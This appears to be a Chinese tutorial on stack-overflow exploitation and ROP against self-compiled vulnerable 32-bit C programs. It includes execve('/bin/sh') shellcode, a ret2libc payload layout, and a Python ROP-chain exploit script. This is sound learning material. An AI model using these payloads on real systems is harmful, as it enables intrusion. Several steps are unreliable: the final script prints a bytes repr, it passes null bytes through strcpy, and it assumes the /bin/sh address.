github项目地址:一步一步学ROP

B站参考视频:从栈溢出开始,教你写Shellcode和ROP链

一、什么是ROP

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。

二、

尝试执行明显栈溢出的程序

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}

采用编译选项

1
gcc -fno-stack-protector -z execstack -o level1 level1.c

image-20240516170730775

这个时候会报错,但是也可以看到,左侧编译成功的level1生成了

image-20240516171224967

使用gdb测试生成的level1文件

image-20240516171838515

一、打开一个shell的原理

如果要打开一个shell,那么就是调用下面的语句

1
execve("/bin/sh",null,null)

image-20240517133314944

其栈的结构如图所示

image-20240525100925615

命令的汇编如图所示

image-20240525101126298

第一步把%eax作异或,结果总是零,第三步是将当前栈指针的值(%esp)移动到寄存器%ebx中。这样就可以从/bin开始执行,然后到//sh

然后

  1. pushl %ebx

    • 作用: 将寄存器%ebx的值(即字符串“/bin//sh”的起始地址)压入栈中。
    • 解释: 这一步将字符串“/bin//sh”的地址压入栈中,作为argv数组的第一个元素。
  2. movl %esp, %ecx

    • 作用: 将当前栈指针的值(%esp)移动到寄存器%ecx中。
    • 解释: 此时,%ecx指向argv数组的起始地址(即栈中的指针数组{“/bin//sh”, NULL})。
    • 作用: 将寄存器%eax的符号位扩展到%edx中。
    • 解释: 因为%eax当前为0,所以%edx也被清零。这一步是为后续的系统调用做准备。
  3. movb $0xb, %al

    • 作用: 将值0xb(即系统调用号11,对应于execve系统调用)移动到寄存器%al中。
    • 解释: 这一步是为了指定系统调用类型为execve
  4. int $0x80

    • 作用: 触发中断0x80,执行系统调用。
    • 解释: 这一步实际执行系统调用,将前面准备好的参数传递给内核,启动新的Shell(/bin/sh)。

1.1 打开一个shell的内联代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void shellcode()
{
__asm__(
"xor %eax, %eax\n\t"
"pushl %eax\n\t"
"push $0x68732f2f\n\t"
"push $0x6e69622f\n\t"
"movl %esp, %ebx\n\t"
"pushl %eax\n\t"
"pushl %ebx\n\t"
"movl %esp, %ecx\n\t"
"cltd\n\t"
"movb $0xb, %al\n\t"
"int $0x80\n\t"
);
}

int main(int argc, char **argv)
{
shellcode();
return 0;
}

编译流程,可以看到最后打开了一个shell,能够执行ls

image-20240525104658578

1.2 测试提取后的shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
char shellcode[] =
"\x31\xc0\x50\x68\x2f"
"\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3"
"\x50\x53\x89\xe1\x99"
"\xb0\x0b\xcd\x80";

int main(int argc, char **argv)
{
printf("Shellcode length: %d bytes\n", strlen(shellcode));
void(*f)() = (void(*)())shellcode;
f();
return 0;
}

编译的时候要记得加上 “开启堆栈可执行”

1
gcc -z execstack -m32 shellcode.c -o shellcode

image-20240525110517597

无法成功执行。

二、栈溢出漏洞的利用步骤

image-20240525111003253

三、关闭ASLR之后获取 system()exit() 函数的地址

bof.c代码

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
char buf[128];
if (argc < 2) return 1;
strcpy(buf, argv[1]);
printf("argv[1]: %s\n", buf);
return 0;
}

编译选项

1
gcc -fno-stack-protector -z execstack -m32 bof.c -o bof

运行gdb

1
gdb -q --args ./bof $(python3 -c 'print("A" * 140 + "BBBB")')

获得system和exit的地址

1
print system
1
print exit

操作如下

image-20240525124124087

四、执行exploit

exploit是利用程序漏洞执行恶意代码的方法。英文翻译是利用。

使用图中命令可以启动shellimage-20240525131000532

其中,

  • print "A" * 140:填充140个’A’字符,覆盖缓冲区和保存的EBP。
  • "\x80\xfd\xe3\xf7"system函数地址。
  • "\xb0\x39\xe3\xf7"exit函数地址。
  • "\x79\xd0\xf4\xf7"/bin/sh字符串地址。
  • "\x00\x00\x00\x00":表示NULL。

五、找到gaget之后构建payload打开一个shell、

5.1 构建C程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <string.h>

void vuln_func(char *input) {
char buffer[64];
strcpy(buffer, input); // 存在缓冲区溢出漏洞
}

int main(int argc, char **argv) {
if (argc != 2) {
printf("Usage: %s <payload>\n", argv[0]);
return -1;
}
vuln_func(argv[1]);
return 0;
}

然后编译

1
gcc -fno-stack-protector -z execstack -m32 vuln.c -o vuln

5.1 找到如下的gadgets

  • pop eax; ret - 0x080b84c6
  • pop ebx; ret - 0x080481c9
  • pop edx; ret - 0x0806ec5a
  • pop ecx; ret - 0x080de8c4
  • int 0x80 - 0x08049421

5.3 构建并运行Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import struct

# 偏移量:64字节缓冲区 + 4字节EBP
offset = 64 + 4

# ROP地址
pop_eax_ret = 0x080b84c6
pop_ebx_ret = 0x080481c9
pop_ecx_ret = 0x080de8c4
pop_edx_ret = 0x0806ec5a
int_0x80 = 0x08049421
bin_sh = 0xbffff7ac # 这里假设/bin/sh字符串的位置是0xbffff7ac

# 构建payload
payload = b'A' * offset
payload += struct.pack('<I', pop_eax_ret)
payload += struct.pack('<I', 0xb) # execve syscall number
payload += struct.pack('<I', pop_ebx_ret)
payload += struct.pack('<I', bin_sh) # pointer to "/bin/sh"
payload += struct.pack('<I', pop_ecx_ret)
payload += struct.pack('<I', 0) # argv
payload += struct.pack('<I', pop_edx_ret)
payload += struct.pack('<I', 0) # envp
payload += struct.pack('<I', int_0x80)

# 打印或保存payload
print(payload)

运行

1
./vuln $(python3 exploit.py)

即可调用新的shell